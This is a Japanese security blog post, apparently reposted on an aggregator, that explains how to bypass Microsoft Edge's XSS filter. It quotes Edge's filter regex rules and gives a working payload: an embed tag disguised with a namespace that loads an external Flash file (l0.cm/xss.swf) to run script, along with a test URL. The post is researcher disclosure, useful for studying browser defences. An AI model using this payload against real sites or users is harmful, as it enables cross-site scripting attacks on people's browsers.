HackDig : Dig high-quality web security articles for hackers

ブラウザのXSS保護機能をバイパスする(9)

2016-12-01 09:30
脆弱性"&'<<> Advent Calendar 2016 の1日目の記事です!

毎度おなじみ、XSSフィルターをバイパスするコーナーです。今回は、Edgeでバイパスします。

Edgeでは、少し前からXMLページでのXSSを遮断するためか、XML namespaceを持ったタグも遮断するようになっています。正規表現をみると、以下のように、遮断されるタグの前にルールが追加されているのがわかります。
{<([^ t]+?:)?a.*?hr{e}f}

{<([^ t]+?:)?OPTION[ /+t].*?va{l}ue[ /+t]*=}

{<([^ t]+?:)?TEXTA{R}EA[ /+t>]}

{<([^ t]+?:)?BUTTON[ /+t].*?va{l}ue[ /+t]*=}

[...]
このルールが追加されてから、皮肉にも、逆に新たなバイパスが生まれてしまいました。こちらです。

https://vulnerabledoma.in/char_test?body=%3Cembed/:script%20allowscriptaccess=always%20src=//l0.cm/xss.swf%3E

<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>

Edgeで開くと、外部のFlashがロードされ、スクリプトが実行されるはずです。

ところで、F12でコンソールを見ると、XSSフィルターはXSSを遮断したというメッセージが出ています。
それでも、Flashをロードしてしまっているのはなぜでしょうか?

おそらく、XSSフィルターはこのタグをscriptタグとみなしてしまっています。script src=の遮断は、scriptのロードを止めるように設計されており、ページの書換えを行いません。しかし実際にはembedタグなので、scriptのロードの停止は空振りに終わり、embed src=が動作してしまうという寸法です。

なお、遮断自体は行ったことになるため、X-XSS-Protection:1;mode=blockのページではバイパスに失敗します。ちなみに、IEのXSSフィルターにはこのルールが入っていないため、このバイパスは使えません。

以上、ご活用ください!
脆弱性"&'<<> Advent Calendar 2016 、明日は @kusano_k さんです!


Source: 7013432952369583755-tsop.3699932072393243538-golb:9991,moc.reggolb:gat

Read:3941 | Comments:0 | Tags: Xss

“ブラウザのXSS保護機能をバイパスする(9)”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Announce

Share high-quality web security related articles with you:)

Tools

Tag Cloud